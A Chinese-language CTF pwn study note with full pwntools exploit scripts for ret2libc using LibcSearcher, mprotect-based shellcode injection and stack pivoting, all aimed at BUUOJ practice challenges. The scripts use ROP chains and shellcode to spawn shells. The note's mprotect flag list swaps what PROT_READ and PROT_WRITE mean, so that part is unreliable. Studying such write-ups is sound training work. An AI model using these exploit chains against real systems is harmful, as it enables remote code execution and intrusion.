libcsearcher

ret2libc的时候不一定会给libc(大多数情况不给)

所以需要这个工具去根据泄露出来的libc搜索版本

给一个例题,本题有多解,我自己写了三解

例题下载

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *
from LibcSearcher import *

p = remote('node4.buuoj.cn',26558)
libc = ELF("libc-2.27.so")
context.log_level="debug"
elf=ELF("PicoCTF_2018_rop_chain")
puts_plt=elf.plt["puts"]
puts_got=elf.got["puts"]
main_addr=elf.sym["main"]
payload=(28)*b'a'+p32(puts_plt)+p32(main_addr)+p32(puts_got)
p.sendlineafter(">",payload)
puts_addr = u32(p.recvuntil('\xf7')[-4:])

libc_base=puts_addr-libc.sym['puts']
system=libc_base+libc.sym['system']
sh=libc_base+next(libc.search(b'/bin/sh'))
payload_=28*b'a'+p32(system)+p32(main_addr)+p32(sh)
p.sendlineafter(">",payload_)
p.interactive()

mprotect

mprotect这是一个函数,可以修改一段区域的权限,遇到的时候就能考虑使用

mprotect 函数用于设置一块内存的保护权限(将从 start 开始、长度为 len 的内存的保护属性修改为 prot 指定的值),函数原型如下所示:

1
2
3
4
5
6
7
8
9
#include <sys/mman.h>

int mprotect(void *addr, size_t len, int prot);
prot 的取值如下,通过 |
可以将几个属性结合使用(值相加):
- PROT_READ:可写,值为 1
- PROT_WRITE:可读, 值为 2
- PROT_EXEC:可执行,值为 4
- PROT_NONE:不允许访问,值为 0

例题下载

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
from pwn import *
q = remote('node4.buuoj.cn',28807)
#q = process('./get_started_3dsctf_2016')
context.log_level = 'debug'
sleep(0.1)

payload = b'a'*56
payload += p32(0x080489A0) + p32(0x080489A0)
payload += p32(0x308CD64F) + p32(0x195719D1)
q.sendline(payload)
sleep(0.1)
q.interactive()


from pwn import *
q = remote('node3.buuoj.cn',29645)
#q = process('./get_started_3dsctf_2016')
context.log_level = 'debug'

mprotect = 0x0806EC80
buf = 0x80ea000
pop_3_ret = 0x0804f460
read_addr = 0x0806E140

payload = 'a'*56
payload += p32(mprotect)
payload += p32(pop_3_ret)
payload += p32(buf)
payload += p32(0x1000)
payload += p32(0x7)
payload += p32(read_addr)
payload += p32(buf)
payload += p32(0)
payload += p32(buf)
payload += p32(0x100)
q.sendline(payload)
sleep(0.1)

shellcode = asm(shellcraft.sh(),arch='i386',os='linux')
q.sendline(shellcode)
sleep(0.1)
q.interactive()

栈迁移

用来解决溢出量不够的rop

可以先通过leave|ret控制栈地址,再返回到溢出点,就可以衔接两次溢出

先去ROPgetdet去找leave|ret

1
ROPgadget --binary pwn --only "leave|ret"

例题下载

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *
context.log_level="debug"
sys_addr=0x08048400
p = remote('node4.buuoj.cn',25264)
payload1 = b'a'*0x27+b'@'
p.send(payload1)
p.recvuntil(b'@')
ebp = u32(p.recv(4))
print ("ebp----->",hex(ebp))
leave_ret=0x080484b8
payload2=b'aaaa'+p32(sys_addr)+4*b'a'+p32(ebp-0x28)+b'/bin/sh'+b'\0'+16*b'a'+p32(ebp-0x38)+p32(leave_ret)
# 4 8 12 16 23 24 40 44
# 38 34 30 2c 28
p.send(payload2)
p.interactive()